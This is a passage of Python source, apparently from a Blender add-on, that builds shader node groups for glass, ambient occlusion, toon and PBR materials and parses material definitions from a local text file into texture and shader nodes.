group.links.new(group.nodes[11].outputs[0], group.nodes[4].inputs[2], False)\n group.links.new(group.nodes[6].outputs[0], group.nodes[4].inputs[1], False)\n group.links.new(group.nodes[10].outputs[1], group.nodes[4].inputs[0], False)\n group.links.new(group.nodes[4].outputs[0], group.nodes[3].inputs[2], False)\n group.links.new(group.nodes[12].outputs[0], group.nodes[8].inputs[0], False)\n group.links.new(group.nodes[7].outputs[0], group.nodes[0].inputs[0], False)\n group.links.new(group.nodes[0].outputs[0], group.nodes[6].inputs[2], False)\n group.links.new(group.nodes[1].outputs[0], group.nodes[6].inputs[1], False)\n group.links.new(group.nodes[8].outputs[2], group.nodes[9].inputs[1], False)\n group.links.new(group.nodes[9].outputs[0], group.nodes[7].inputs[2], False)\n group.links.new(group.nodes[8].outputs[1], group.nodes[7].inputs[1], False)\n group.links.new(group.nodes[8].outputs[0], group.nodes[7].inputs[0], False)\n group.links.new(group.nodes[12].outputs[2], group.nodes[11].inputs[1], False)\n group.links.new(group.nodes[12].outputs[5], group.nodes[11].inputs[2], False)\n group.links.new(group.nodes[12].outputs[4], group.nodes[10].inputs[0], False)\n group.links.new(group.nodes[12].outputs[5], group.nodes[10].inputs[1], False)\n group.links.new(group.nodes[12].outputs[5], group.nodes[0].inputs[2], False)\n\n setattr(nodes[9], 'operation', 'MULTIPLY')\n setattr(nodes[9].inputs[0], 'default_value', 1.2)\n\n setattr(group.inputs[0], 'default_value', [1.0, 1.0, 1.0, 1.0])\n\n setattr(group.inputs[1], 'default_value', 1.0)\n setattr(group.inputs[1], 'max_value', 1.0)\n setattr(group.inputs[1], 'min_value', 0.0)\n\n setattr(group.inputs[2], 'default_value', 0.699999988079071)\n setattr(group.inputs[2], 'max_value', 1.0)\n setattr(group.inputs[2], 'min_value', 0.0)\n\n\n setattr(group.inputs[3], 'default_value', 0.800000011920929)\n setattr(group.inputs[3], 'max_value', 1.0)\n setattr(group.inputs[3], 'min_value', 0.0)\n\n setattr(group.inputs[4], 'default_value', 0.05000000074505806)\n setattr(group.inputs[4], 'max_value', 1.0)\n setattr(group.inputs[4], 'min_value', 0.0)\n\n setattr(group.inputs[5], 'default_value', [0.0, 0.0, 0.0])\n setattr(group.inputs[5], 'max_value', 1.0)\n setattr(group.inputs[5], 'min_value', -1.0)\n\n\n return group\n def createBlendUpGlass( self ):\n\n group = bpy.data.node_groups.new('BlendUpGlass', 'ShaderNodeTree')\n group.use_fake_user = True\n nodes = []\n\n nodes.append(group.nodes.new('ShaderNodeBsdfTransparent'))\n nodes.append(group.nodes.new('ShaderNodeMixShader'))\n nodes.append(group.nodes.new('ShaderNodeBsdfTransparent'))\n nodes.append(group.nodes.new('ShaderNodeBsdfGlossy'))\n nodes.append(group.nodes.new('ShaderNodeLightPath'))\n nodes.append(group.nodes.new('ShaderNodeMixShader'))\n nodes.append(group.nodes.new('NodeGroupOutput'))\n nodes.append(group.nodes.new('ShaderNodeMixShader'))\n nodes.append(group.nodes.new('ShaderNodeBsdfTransparent'))\n nodes.append(group.nodes.new('ShaderNodeLayerWeight'))\n nodes.append(group.nodes.new('ShaderNodeMath'))\n nodes.append(group.nodes.new('NodeGroupInput'))\n\n\n group.inputs.new('NodeSocketColor','Color')\n group.inputs.new('NodeSocketFloatFactor','Transparency')\n\n group.outputs.new('NodeSocketShader','out')\n\n setattr(nodes[0], 'location', [-0.8359482288360596, -84.36238098144531])\n setattr(nodes[1], 'location', [-78.04933166503906, 59.87400817871094])\n setattr(nodes[2], 'location', [-344.62945556640625, 56.638755798339844])\n setattr(nodes[3], 'location', [-327.3433837890625, -31.67084312438965])\n setattr(nodes[4], 'location', [-65.95742797851562, 397.6812438964844])\n setattr(nodes[5], 'location', [211.79600524902344, 80.58950805664062])\n setattr(nodes[6], 'location', [671.5985107421875, 48.43199920654297])\n setattr(nodes[7], 'location', [474.40582275390625, 70.64627838134766])\n setattr(nodes[8], 'location', [287.7782897949219, -96.51539611816406])\n setattr(nodes[9], 'location', [-605.169921875, 381.7786865234375])\n setattr(nodes[10], 'location', [-373.617919921875, 246.37042236328125])\n setattr(nodes[11], 'location', [-778.1406860351562, 83.45103454589844])\n\n setattr(nodes[10], 'operation', 'ADD')\n setattr(nodes[10].inputs[1], 'default_value', 0.075)\n\n group.links.new(group.nodes[4].outputs[1], group.nodes[5].inputs[0], False)\n group.links.new(group.nodes[0].outputs[0], group.nodes[5].inputs[2], False)\n group.links.new(group.nodes[1].outputs[0], group.nodes[5].inputs[1], False)\n group.links.new(group.nodes[2].outputs[0], group.nodes[1].inputs[1], False)\n group.links.new(group.nodes[3].outputs[0], group.nodes[1].inputs[2], False)\n group.links.new(group.nodes[11].outputs[0], group.nodes[3].inputs[0], False)\n group.links.new(group.nodes[11].outputs[0], group.nodes[2].inputs[0], False)\n group.links.new(group.nodes[11].outputs[0], group.nodes[0].inputs[0], False)\n group.links.new(group.nodes[10].outputs[0], group.nodes[1].inputs[0], False)\n group.links.new(group.nodes[9].outputs[1], group.nodes[10].inputs[0], False)\n group.links.new(group.nodes[11].outputs[1], group.nodes[7].inputs[0], False)\n group.links.new(group.nodes[5].outputs[0], group.nodes[7].inputs[2], False)\n group.links.new(group.nodes[7].outputs[0], group.nodes[6].inputs[0], False)\n group.links.new(group.nodes[8].outputs[0], group.nodes[7].inputs[1], False)\n\n\n setattr(group.inputs[0], 'default_value', [1.0, 1.0, 1.0, 1.0])\n\n setattr(group.inputs[1], 'default_value', 0.5)\n setattr(group.inputs[1], 'max_value', 1.0)\n setattr(group.inputs[1], 'min_value', 0.0)\n\n\n\n return group\n\n def createBlendUpAO( self ):\n\n group = bpy.data.node_groups.new('BlendUpAO', 'ShaderNodeTree')\n group.use_fake_user = True\n nodes = []\n\n nodes.append(group.nodes.new('ShaderNodeBsdfTransparent'))\n nodes.append(group.nodes.new('NodeGroupOutput'))\n nodes.append(group.nodes.new('ShaderNodeMixShader'))\n nodes.append(group.nodes.new('ShaderNodeMixShader'))\n nodes.append(group.nodes.new('ShaderNodeAmbientOcclusion'))\n nodes.append(group.nodes.new('ShaderNodeEmission'))\n nodes.append(group.nodes.new('NodeGroupInput'))\n\n\n group.inputs.new('NodeSocketColor','Color')\n group.inputs.new('NodeSocketFloatFactor','Strength')\n group.inputs.new('NodeSocketFloatFactor','Transparency')\n group.inputs.new('NodeSocketVector','Normal')\n\n group.outputs.new('NodeSocketShader','out')\n\n setattr(nodes[0], 'location', [-93.27900695800781, 22.7655029296875])\n setattr(nodes[1], 'location', [614.4639892578125, -21.853071212768555])\n setattr(nodes[2], 'location', [158.82533264160156, -100.75477600097656])\n setattr(nodes[3], 'location', [382.217041015625, -30.9155330657959])\n setattr(nodes[4], 'location', [-91.35116577148438, -300.3694763183594])\n setattr(nodes[5], 'location', [-89.15872955322266, -168.53524780273438])\n setattr(nodes[6], 'location', [-363.0636901855469, -19.837453842163086])\n\n\n group.links.new(group.nodes[6].outputs[2], group.nodes[3].inputs[0], False)\n group.links.new(group.nodes[3].outputs[0], group.nodes[1].inputs[0], False)\n group.links.new(group.nodes[0].outputs[0], group.nodes[3].inputs[1], False)\n group.links.new(group.nodes[6].outputs[1], group.nodes[2].inputs[0], False)\n group.links.new(group.nodes[6].outputs[0], group.nodes[5].inputs[0], False)\n group.links.new(group.nodes[2].outputs[0], group.nodes[3].inputs[2], False)\n group.links.new(group.nodes[6].outputs[0], group.nodes[4].inputs[0], False)\n group.links.new(group.nodes[4].outputs[0], group.nodes[2].inputs[2], False)\n group.links.new(group.nodes[5].outputs[0], group.nodes[2].inputs[1], False)\n\n setattr(group.inputs[0], 'default_value', [0.800000011920929, 0.800000011920929, 0.800000011920929, 1.0])\n\n setattr(group.inputs[1], 'default_value', 1.0)\n setattr(group.inputs[1], 'max_value', 1.0)\n setattr(group.inputs[1], 'min_value', 0.0)\n\n setattr(group.inputs[2], 'default_value', 1.0)\n setattr(group.inputs[2], 'max_value', 1.0)\n setattr(group.inputs[2], 'min_value', 0.0)\n\n setattr(group.inputs[3], 'default_value', [0.0, 0.0, 0.0])\n setattr(group.inputs[3], 'max_value', 1.0)\n setattr(group.inputs[3], 'min_value', -1.0)\n\n return group\n\n def createBlendUpMonochrome( self ):\n\n group = bpy.data.node_groups.new('BlendUpMonochrome', 'ShaderNodeTree')\n group.use_fake_user = True\n nodes = []\n\n nodes.append(group.nodes.new('ShaderNodeBsdfDiffuse'))\n nodes.append(group.nodes.new('ShaderNodeBsdfTransparent'))\n nodes.append(group.nodes.new('NodeGroupOutput'))\n nodes.append(group.nodes.new('ShaderNodeAmbientOcclusion'))\n nodes.append(group.nodes.new('ShaderNodeMixShader'))\n nodes.append(group.nodes.new('ShaderNodeMixShader'))\n nodes.append(group.nodes.new('NodeGroupInput'))\n\n\n group.inputs.new('NodeSocketColor','Color')\n group.inputs.new('NodeSocketFloatFactor','Direct Shadow')\n group.inputs.new('NodeSocketFloatFactor','Transparency')\n group.inputs.new('NodeSocketVector','Normal')\n\n group.outputs.new('NodeSocketShader','out')\n\n setattr(nodes[0], 'location', [-121.84773254394531, -201.3492889404297])\n setattr(nodes[1], 'location', [-91.5101089477539, 129.0993194580078])\n setattr(nodes[2], 'location', [635.9929809570312, 41.98583984375])\n setattr(nodes[3], 'location', [-110.73641967773438, -98.85674285888672])\n setattr(nodes[4], 'location', [149.810791015625, -45.246009826660156])\n setattr(nodes[5], 'location', [377.5273132324219, 46.166465759277344])\n setattr(nodes[6], 'location', [-414.78717041015625, 60.5648193359375])\n\n group.links.new(group.nodes[6].outputs[0], group.nodes[3].inputs[0], False)\n group.links.new(group.nodes[6].outputs[2], group.nodes[5].inputs[0], False)\n group.links.new(group.nodes[3].outputs[0], group.nodes[4].inputs[1], False)\n group.links.new(group.nodes[0].outputs[0], group.nodes[4].inputs[2], False)\n group.links.new(group.nodes[4].outputs[0], group.nodes[5].inputs[2], False)\n group.links.new(group.nodes[1].outputs[0], group.nodes[5].inputs[1], False)\n group.links.new(group.nodes[5].outputs[0], group.nodes[2].inputs[0], False)\n group.links.new(group.nodes[6].outputs[0], group.nodes[0].inputs[0], False)\n group.links.new(group.nodes[6].outputs[3], group.nodes[0].inputs[2], False)\n group.links.new(group.nodes[6].outputs[1], group.nodes[4].inputs[0], False)\n\n\n setattr(group.inputs[0], 'default_value', [0.800000011920929, 0.800000011920929, 0.800000011920929, 1.0])\n\n setattr(group.inputs[1], 'default_value', 0.2)\n setattr(group.inputs[1], 'max_value', 1.0)\n setattr(group.inputs[1], 'min_value', 0.0)\n\n setattr(group.inputs[2], 'default_value', 1.0)\n setattr(group.inputs[2], 'max_value', 1.0)\n setattr(group.inputs[2], 'min_value', 0.0)\n\n setattr(group.inputs[3], 'default_value', [0.0, 0.0, 0.0])\n setattr(group.inputs[3], 'max_value', 1.0)\n setattr(group.inputs[3], 'min_value', -1.0)\n\n return group\n\n def createBlendUpLight( self ):\n\n group = bpy.data.node_groups.new('BlendUpLight', 'ShaderNodeTree')\n group.use_fake_user = True\n nodes = []\n nodes.append(group.nodes.new('ShaderNodeBsdfTransparent'))\n nodes.append(group.nodes.new('ShaderNodeLightPath'))\n nodes.append(group.nodes.new('ShaderNodeMixShader'))\n nodes.append(group.nodes.new('NodeGroupOutput'))\n nodes.append(group.nodes.new('ShaderNodeEmission'))\n nodes.append(group.nodes.new('NodeGroupInput'))\n\n\n group.inputs.new('NodeSocketColor','Color')\n group.inputs.new('NodeSocketFloatFactor','Strength')\n\n group.outputs.new('NodeSocketShader','out')\n\n setattr(nodes[0], 'location', [-316.57318115234375, -32.83460998535156])\n setattr(nodes[1], 'location', [-322.07952880859375, 387.5373229980469])\n setattr(nodes[2], 'location', [-67.0149154663086, 147.7364501953125])\n setattr(nodes[3], 'location', [200.0, 143.9700164794922])\n setattr(nodes[4], 'location', [-316.3206787109375, 106.69867706298828])\n setattr(nodes[5], 'location', [-655.5391235351562, 87.66107940673828])\n\n group.links.new(group.nodes[1].outputs[0], group.nodes[2].inputs[0], False)\n group.links.new(group.nodes[0].outputs[0], group.nodes[2].inputs[2], False)\n group.links.new(group.nodes[4].outputs[0], group.nodes[2].inputs[1], False)\n group.links.new(group.nodes[2].outputs[0], group.nodes[3].inputs[0], False)\n group.links.new(group.nodes[5].outputs[0], group.nodes[4].inputs[0], False)\n group.links.new(group.nodes[5].outputs[1], group.nodes[4].inputs[1], False)\n\n setattr(group.inputs[0], 'default_value', [1.0, 1.0, 1.0, 1.0])\n\n setattr(group.inputs[1], 'default_value', 1.0)\n setattr(group.inputs[1], 'max_value', 1000000.0)\n setattr(group.inputs[1], 'min_value', 0.0)\n\n return group\n\n def createBlendUpToon( self ):\n\n #not used for now...\n\n group = bpy.data.node_groups.new('BlendUpToon', 'ShaderNodeTree')\n group.use_fake_user = True\n nodes = []\n\n nodes.append(group.nodes.new('NodeGroupOutput'))\n nodes.append(group.nodes.new('ShaderNodeMixShader'))\n nodes.append(group.nodes.new('NodeGroupInput'))\n nodes.append(group.nodes.new('ShaderNodeBsdfToon'))\n nodes.append(group.nodes.new('ShaderNodeBsdfTransparent'))\n\n group.inputs.new('NodeSocketColor','Color')\n group.inputs.new('NodeSocketFloatFactor','Size')\n group.inputs.new('NodeSocketFloatFactor','Smooth')\n group.inputs.new('NodeSocketFloatFactor','Transparency')\n\n group.outputs.new('NodeSocketShader','out')\n\n setattr(nodes[0], 'location', [429.60736083984375, 2.82112455368042])\n setattr(nodes[1], 'location', [231.41314697265625, 14.527313232421875])\n setattr(nodes[2], 'location', [-213.65118408203125, 55.83436965942383])\n setattr(nodes[3], 'location', [8.007874488830566, -115.88105773925781])\n setattr(nodes[4], 'location', [16.742874145507812, 89.47240447998047])\n\n group.links.new(group.nodes[2].outputs[0], group.nodes[3].inputs[0], False)\n group.links.new(group.nodes[2].outputs[1], group.nodes[3].inputs[1], False)\n group.links.new(group.nodes[2].outputs[2], group.nodes[3].inputs[2], False)\n group.links.new(group.nodes[2].outputs[4], group.nodes[3].inputs[3], False)\n group.links.new(group.nodes[1].outputs[0], group.nodes[0].inputs[0], False)\n group.links.new(group.nodes[2].outputs[3], group.nodes[1].inputs[0], False)\n group.links.new(group.nodes[4].outputs[0], group.nodes[1].inputs[1], False)\n group.links.new(group.nodes[3].outputs[0], group.nodes[1].inputs[2], False)\n\n setattr(group.inputs[0], 'default_value', [0.800000011920929, 0.800000011920929, 0.800000011920929, 1.0])\n\n setattr(group.inputs[1], 'default_value', 0.5)\n setattr(group.inputs[1], 'max_value', 1.0)\n setattr(group.inputs[1], 'min_value', 0.0)\n\n setattr(group.inputs[2], 'default_value', 0.0)\n setattr(group.inputs[2], 'max_value', 1.0)\n setattr(group.inputs[2], 'min_value', 0.0)\n\n setattr(group.inputs[3], 'default_value', 1.0)\n setattr(group.inputs[3], 'max_value', 1.0)\n setattr(group.inputs[3], 'min_value', 0.0)\n\n setattr(group.inputs[4], 'default_value', [0.0, 0.0, 0.0])\n setattr(group.inputs[4], 'max_value', 1.0)\n setattr(group.inputs[4], 'min_value', -1.0)\n\n return group\n\n def createBlendUpPBR( self ):\n\n group = bpy.data.node_groups.new('BlendUpPBR', 'ShaderNodeTree')\n group.use_fake_user = True\n nodes = []\n nodes.append(group.nodes.new('ShaderNodeBsdfDiffuse'))\n nodes.append(group.nodes.new('ShaderNodeBsdfGlossy'))\n nodes.append(group.nodes.new('ShaderNodeSeparateHSV'))\n nodes.append(group.nodes.new('ShaderNodeMath'))\n nodes.append(group.nodes.new('ShaderNodeMath'))\n nodes.append(group.nodes.new('ShaderNodeMath'))\n nodes.append(group.nodes.new('ShaderNodeFresnel'))\n nodes.append(group.nodes.new('ShaderNodeMixShader'))\n nodes.append(group.nodes.new('ShaderNodeEmission'))\n nodes.append(group.nodes.new('ShaderNodeMath'))\n nodes.append(group.nodes.new('ShaderNodeCombineHSV'))\n nodes.append(group.nodes.new('ShaderNodeMixRGB'))\n nodes.append(group.nodes.new('ShaderNodeMath'))\n nodes.append(group.nodes.new('ShaderNodeMath'))\n nodes.append(group.nodes.new('NodeGroupInput'))\n nodes.append(group.nodes.new('ShaderNodeAddShader'))\n nodes.append(group.nodes.new('ShaderNodeBsdfTransparent'))\n nodes.append(group.nodes.new('ShaderNodeMixShader'))\n nodes.append(group.nodes.new('NodeGroupOutput'))\n\n setattr(nodes[0], 'location', [-174.95565795898438, 380.4754943847656])\n setattr(nodes[1], 'location', [-90.94093322753906, -41.52635955810547])\n setattr(nodes[2], 'location', [-773.2938842773438, -332.9705810546875])\n setattr(nodes[3], 'location', [-552.3074340820312, -566.122314453125])\n setattr(nodes[4], 'location', [-275.2654113769531, -404.73870849609375])\n setattr(nodes[5], 'location', [-269.20556640625, -661.11865234375])\n setattr(nodes[6], 'location', [159.6534881591797, -264.4090881347656])\n setattr(nodes[7], 'location', [372.57501220703125, 26.189916610717773])\n setattr(nodes[8], 'location', [382.9889831542969, -190.98712158203125])\n setattr(nodes[9], 'location', [-32.4528694152832, -566.8570556640625])\n setattr(nodes[10], 'location', [-507.0903625488281, -307.22235107421875])\n setattr(nodes[11], 'location', [-460.05743408203125, 442.8718566894531])\n setattr(nodes[12], 'location', [-779.4415893554688, 372.6409606933594])\n setattr(nodes[13], 'location', [-447.469970703125, 97.66339111328125])\n setattr(nodes[14], 'location', [-1017.5684814453125, 13.1002197265625])\n setattr(nodes[15], 'location', [601.329833984375, -89.056640625])\n setattr(nodes[16], 'location', [599.4542846679688, 90.07467651367188])\n setattr(nodes[17], 'location', [959.8967895507812, 1.5410175323486328])\n setattr(nodes[18], 'location', [1204.2589111328125, -4.1744384765625])\n\n group.inputs.new('NodeSocketColor','Albedo')\n group.inputs.new('NodeSocketFloatFactor','Transparency')\n group.inputs.new('NodeSocketColor','Specular')\n group.inputs.new('NodeSocketFloatFactor','Smoothness')\n group.inputs.new('NodeSocketVector','Normal')\n group.inputs.new('NodeSocketColor','Occlusion')\n group.inputs.new('NodeSocketFloat','Occlusion Strength')\n group.inputs.new('NodeSocketColor','Emission')\n group.inputs.new('NodeSocketFloat','Emission Strength')\n\n group.outputs.new('NodeSocketShader','out')\n\n group.links.new(group.nodes[2].outputs[2], group.nodes[3].inputs[0], False)\n group.links.new(group.nodes[3].outputs[0], group.nodes[4].inputs[0], False)\n group.links.new(group.nodes[4].outputs[0], group.nodes[9].inputs[0], False)\n group.links.new(group.nodes[5].outputs[0], group.nodes[9].inputs[1], False)\n group.links.new(group.nodes[3].outputs[0], group.nodes[5].inputs[1], False)\n group.links.new(group.nodes[2].outputs[0], group.nodes[10].inputs[0], False)\n group.links.new(group.nodes[2].outputs[1], group.nodes[10].inputs[1], False)\n group.links.new(group.nodes[14].outputs[3], group.nodes[13].inputs[1], False)\n group.links.new(group.nodes[0].outputs[0], group.nodes[7].inputs[1], False)\n group.links.new(group.nodes[1].outputs[0], group.nodes[7].inputs[2], False)\n group.links.new(group.nodes[11].outputs[0], group.nodes[0].inputs[0], False)\n group.links.new(group.nodes[6].outputs[0], group.nodes[7].inputs[0], False)\n group.links.new(group.nodes[10].outputs[0], group.nodes[1].inputs[0], False)\n group.links.new(group.nodes[13].outputs[0], group.nodes[1].inputs[1], False)\n group.links.new(group.nodes[13].outputs[0], group.nodes[0].inputs[1], False)\n group.links.new(group.nodes[14].outputs[4], group.nodes[0].inputs[2], False)\n group.links.new(group.nodes[14].outputs[4], group.nodes[1].inputs[2], False)\n group.links.new(group.nodes[14].outputs[4], group.nodes[6].inputs[1], False)\n group.links.new(group.nodes[14].outputs[2], group.nodes[2].inputs[0], False)\n group.links.new(group.nodes[7].outputs[0], group.nodes[15].inputs[0], False)\n group.links.new(group.nodes[8].outputs[0], group.nodes[15].inputs[1], False)\n group.links.new(group.nodes[14].outputs[7], group.nodes[8].inputs[0], False)\n group.links.new(group.nodes[14].outputs[8], group.nodes[8].inputs[1], False)\n group.links.new(group.nodes[9].outputs[0], group.nodes[6].inputs[0], False)\n group.links.new(group.nodes[14].outputs[6], group.nodes[12].inputs[1], False)\n group.links.new(group.nodes[14].outputs[5], group.nodes[12].inputs[0], False)\n group.links.new(group.nodes[14].outputs[0], group.nodes[11].inputs[2], False)\n group.links.new(group.nodes[12].outputs[0], group.nodes[11].inputs[1], False)\n group.links.new(group.nodes[17].outputs[0], group.nodes[18].inputs[0], False)\n group.links.new(group.nodes[14].outputs[1], group.nodes[17].inputs[0], False)\n group.links.new(group.nodes[15].outputs[0], group.nodes[17].inputs[2], False)\n group.links.new(group.nodes[16].outputs[0], group.nodes[17].inputs[1], False)\n\n setattr(group.inputs[0], 'default_value', [0.4793201982975006, 0.4793201982975006, 0.4793201982975006, 1.0])\n\n setattr(group.inputs[1], 'default_value', 1.0)\n setattr(group.inputs[1], 'max_value', 1.0)\n setattr(group.inputs[1], 'min_value', 0.0)\n\n setattr(group.inputs[2], 'default_value', [0.04373502731323242, 0.04373502731323242, 0.04373502731323242, 1.0])\n\n setattr(group.inputs[3], 'default_value', 0.5)\n setattr(group.inputs[3], 'max_value', 1.0)\n setattr(group.inputs[3], 'min_value', 0.0)\n\n setattr(group.inputs[4], 'default_value', [0.0, 0.0, 0.0])\n setattr(group.inputs[4], 'max_value', 1.0)\n setattr(group.inputs[4], 'min_value', -1.0)\n\n setattr(group.inputs[5], 'default_value', [1.0, 1.0, 1.0, 1.0])\n\n setattr(group.inputs[6], 'default_value', 1.0)\n setattr(group.inputs[6], 'max_value', 10000.0)\n setattr(group.inputs[6], 'min_value', 0.0)\n\n setattr(group.inputs[7], 'default_value', [0.0, 0.0, 0.0, 1.0])\n\n setattr(group.inputs[8], 'default_value', 1.0)\n setattr(group.inputs[8], 'max_value', 10000.0)\n setattr(group.inputs[8], 'min_value', 0.0)\n\n setattr(nodes[3], 'operation', 'POWER')\n\n setattr(nodes[4], 'operation', 'ADD')\n setattr(nodes[4].inputs[1], 'default_value', 1.0)\n\n setattr(nodes[5], 'operation', 'SUBTRACT')\n setattr(nodes[5].inputs[0], 'default_value', 1.0)\n\n\n setattr(nodes[10].inputs[2], 'default_value', 1.0)\n\n setattr(nodes[11], 'blend_type', 'MULTIPLY')\n setattr(nodes[11].inputs[0], 'default_value', 1.0)\n\n setattr(nodes[12], 'operation', 'POWER')\n setattr(nodes[12].inputs[1], 'default_value', 0.5)\n\n setattr(nodes[13], 'operation', 'SUBTRACT')\n setattr(nodes[13].inputs[0], 'default_value', 1.0)\n setattr(nodes[13].inputs[1], 'default_value', 1.0)\n\n return group\n\n\n def cleanSpaces( self, str):\n\n return str.lstrip().rstrip()\n\n\n def parseMaterialDefinitions( self ):\n\n materials = []\n\n matFile = self.sourceDir+\"/materials2.txt\"\n\n if self.useBlenderCycles == False:\n\n matFile = self.sourceDir+\"/materials.txt\"\n\n with codecs.open(matFile, \"r\", \"utf-8\") as f:\n\n materialLines = f.readlines()\n\n for line in materialLines:\n\n mat = {}\n\n line = self.cleanSpaces(line)\n\n parameters = line.split(\";\")\n\n for param in parameters:\n\n if not \"=\" in param: continue\n\n vals = param.split(\"=\")\n\n if len(vals) != 2 : continue\n\n valType = self.cleanSpaces(vals[0])\n\n valValue = self.cleanSpaces(vals[1])\n\n mat[valType] = valValue\n\n materials.append(mat)\n\n return materials\n\n def getMaterialGroup( self, id, definition, nodes ):\n\n mat = nodes.new('ShaderNodeGroup')\n\n group = self.materialGroups.get(id)\n\n if group is None:\n\n group = bpy.data.node_groups.new(definition[\"Name\"], 'ShaderNodeTree')\n\n group.use_fake_user = True\n\n group.outputs.new('NodeSocketShader','out')\n\n shader = group.nodes.new('ShaderNodeGroup')\n\n outputNode = group.nodes.new('NodeGroupOutput')\n\n shader.node_tree = bpy.data.node_groups[definition[\"Type\"]]\n\n shader.location = (0,150)\n\n outputNode.location = (200,150)\n\n textureNodes = {}\n\n #TODO: Shouldn't be always True for front face here, it will create a UV bug sometimes\n\n self.connectNodes(definition,shader,textureNodes, group.nodes, group.links, True )\n\n group.links.new(group.nodes[0].outputs[0], outputNode.inputs[0], False)\n\n self.materialGroups[id] = group\n\n mat.node_tree = group\n\n return mat\n\n def getMaterialGroupBI( self, id, definition, nodes, textureNodes ):\n\n mat = nodes.new('ShaderNodeGroup')\n\n group = self.materialGroups.get(id)\n\n #bpy.data.materials['Material'].node_tree.nodes.new(\"ShaderNodeGeometry\")\n #bpy.data.materials['Material'].node_tree.nodes.new(\"ShaderNodeMaterial\")\n #toto.material = bpy.data.materials.new(\"BI_profile\")\n\n if group is None:\n\n group = bpy.data.node_groups.new(definition[\"Name\"], 'ShaderNodeTree')\n\n group.use_fake_user = True\n\n #create output params\n\n group.outputs.new('NodeSocketColor','Color')\n\n group.outputs.new('NodeSocketFloatFactor','Alpha')\n\n #create output node\n\n outputNode = group.nodes.new('NodeGroupOutput')\n\n outputNode.location = (200,150)\n\n #create material node\n\n materialNode = group.nodes.new(\"ShaderNodeMaterial\")\n\n materialNode.location = (0,150)\n\n materialNode.material = bpy.data.materials.new(definition[\"Name\"]+\"_profile\")\n\n #create geometry node\n\n geometryNode = group.nodes.new(\"ShaderNodeGeometry\")\n\n geometryNode.location = (-900,-200)\n\n #connect geometry normal\n\n group.links.new(geometryNode.outputs[\"Normal\"], materialNode.inputs[\"Normal\"], False)\n\n #connect output color\n\n group.links.new(materialNode.outputs[\"Color\"], outputNode.inputs[\"Color\"], False)\n\n\n #connect the rest based on the definition informations\n\n self.connectNodesBI(definition,materialNode,textureNodes, group.nodes, group.links, geometryNode, materialNode, outputNode)\n\n self.internalBImaterialGroups[id] = materialNode\n\n self.materialGroups[id] = group\n\n mat.node_tree = group\n\n return mat\n\n\n\n def connectNodes( self, definition , shader, textures, nodes, links, isFront ):\n\n def lin(x):\n a = 0.055\n if x <=0.04045 :\n y = x * (1.0 / 12.92)\n else:\n y = pow( (x + a) * (1.0 / (1 + a)), 2.4)\n return y\n\n #get global scale\n\n scaleS = 1\n\n scaleT = 1\n\n UVScaleVal = definition.get(\"UVScale\")\n\n if UVScaleVal is not None:\n\n st = self.cleanSpaces(UVScaleVal[UVScaleVal.find(\"(\")+1:UVScaleVal.find(\")\")])\n\n stv = re.findall(r\"[-+]?\\d*\\.\\d+|\\d+\",st)\n\n if( len(stv) != 2):\n print(stv)\n print(\" parameter value UVScale badly defined, expected 2 components!\")\n\n scaleS = float(stv[0])\n\n scaleT = float(stv[1])\n\n\n for param in definition:\n\n if param == \"Type\" : continue\n if param == \"ID\" : continue\n if param == \"Name\" : continue\n if param == \"UVScale\" : continue\n\n value = definition[param]\n\n shaderInput = shader.inputs.get( param )\n\n if shaderInput is None:\n print(\" parameter \"+param+\" not found!\")\n continue\n\n inputType = shaderInput.type\n\n if inputType == \"RGBA\":\n\n if \"TextureColor(\" in value:\n\n value = self.cleanSpaces(value[value.find(\"TextureColor(\")+13:value.rfind(\")\")])\n\n node_texture = textures.get(value)\n\n if node_texture is None:\n\n nbTextures = len( textures )\n\n yTex = nbTextures * -300 + 300\n\n image = self.getImage( value )\n\n node_texture = nodes.new(type='ShaderNodeTexImage')\n\n node_texture.image = image\n\n node_texture.location = -300, yTex\n\n node_uv = nodes.new(type='ShaderNodeUVMap')\n\n node_uv.uv_map = \"UVMap\"\n\n node_uv.location = -900,yTex\n\n node_mapping = nodes.new(type='ShaderNodeMapping')\n\n node_mapping.scale = (scaleS,scaleT,1)\n\n node_mapping.location = -700,yTex\n\n textures[value] = node_texture\n\n links.new(node_uv.outputs[0], node_mapping.inputs[\"Vector\"])\n\n links.new(node_mapping.outputs[0], node_texture.inputs[\"Vector\"])\n\n links.new(node_texture.outputs[0], shaderInput)\n\n\n elif \"Color(\" in value:\n\n v = re.findall(r\"[-+]?\\d*\\.\\d+|\\d+\",value)\n\n if( len(v) != 3):\n print(v)\n print(\" parameter value\"+value+\" badly defined, expected 3 components!\")\n continue\n\n shaderInput.default_value[0] = lin( float(v[0]) / 255 )\n shaderInput.default_value[1] = lin( float(v[1]) / 255 )\n shaderInput.default_value[2] = lin( float(v[2]) / 255 )\n\n else:\n\n print(\" parameter value \"+value+\" badly defined!\")\n continue\n\n elif inputType == \"VALUE\":\n\n if \"TextureAlpha(\" in value:\n\n value = self.cleanSpaces(value[value.find(\"TextureAlpha(\")+13:value.rfind(\")\")])\n\n node_texture = textures.get(value)\n\n if node_texture is None:\n\n nbTextures = len( textures )\n\n yTex = nbTextures * -300 + 300\n\n image = self.getImage( value )\n\n node_texture = nodes.new(type='ShaderNodeTexImage')\n\n node_texture.image = image\n\n node_texture.location = -300, yTex\n\n node_uv = nodes.new(type='ShaderNodeUVMap')\n\n node_uv.uv_map = \"UVMap\"\n\n node_uv.location = -900,yTex\n\n node_mapping = nodes.new(type='ShaderNodeMapping')\n\n node_mapping.scale = (scaleS,scaleT,1)\n\n node_mapping.location = -700,yTex\n\n textures[value] = node_texture\n\n links.new(node_uv.outputs[0], node_mapping.inputs[\"Vector\"])\n\n links.new(node_mapping.outputs[0], node_texture.inputs[\"Vector\"])\n\n links.new(node_texture.outputs[1], shaderInput)\n\n else:\n\n v = re.findall(r\"[-+]?\\d*\\.\\d+|\\d+\",value)\n\n if( len(v) != 1):\n print(v)\n print(\" parameter value\"+value+\" badly defined, expected 1 component!\")\n continue\n\n shaderInput.default_value = float(v[0])\n\n elif inputType == \"VECTOR\":\n\n if \"TextureNormal(\" in value:\n\n value = self.cleanSpaces(value[value.find(\"TextureNormal(\")+14:value.rfind(\")\")])\n\n node_normal = textures.get(value)\n\n if node_normal is None:\n\n nbTextures = len( textures )\n\n yTex = nbTextures * -300 + 300\n\n image = self.getImage( value )\n\n\n\n node_normal = nodes.new(type='ShaderNodeNormalMap')\n\n node_normal.location = -250, yTex\n\n\n node_texture = nodes.new(type='ShaderNodeTexImage')\n\n node_texture.image = image\n\n node_texture.location = -500, yTex\n\n node_texture.color_space = 